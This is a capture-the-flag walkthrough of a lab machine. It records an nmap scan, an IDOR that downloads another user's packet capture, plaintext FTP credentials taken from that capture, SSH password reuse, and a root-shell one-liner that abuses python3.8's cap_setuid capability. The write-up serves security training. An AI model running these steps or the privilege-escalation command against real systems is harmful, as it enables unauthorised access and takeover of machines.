Reconnaissance

┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sC -sV 10.129.10.190
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-30 09:47 -0500
Nmap scan report for 10.129.10.190
Host is up (0.039s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Three ports — FTP, SSH, and an HTTP dashboard running Gunicorn. FTP is worth keeping in mind.

Enumeration

The web app is a network security dashboard running Gunicorn on port 80. It auto-authenticates as user nathan, so there’s no login to bypass.

The interesting feature is Security Snapshot — clicking it triggers a network capture and redirects to /data/<scan_id> where the scan ID is an incrementing integer. This is a classic IDOR waiting to happen.

IDOR

Foothold

Changing the scan ID to 0 in the URL downloads the very first capture taken on the box — someone else’s scan.

Opening the pcap in Wireshark and filtering for FTP traffic reveals credentials in plaintext:

credentials

nathan:Buck3tH4TF0RM3!

Logging in via FTP and grabbing the flag:

ftp> ls
-r--------    1 1001     1001           33 Mar 30 14:44 user.txt

ftp> get user.txt
226 Transfer complete.
33 bytes received in 00:00 (0.91 KiB/s)

Nathan reuses the same password for SSH, so we get a proper shell with the same credentials.

Privilege Escalation

Checking capabilities on the system:

nathan@cap:~$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

python3.8 has cap_setuid — it can arbitrarily set its UID without being root. GTFOBins covers this exactly. One liner to drop into a root shell:

GTFO

nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)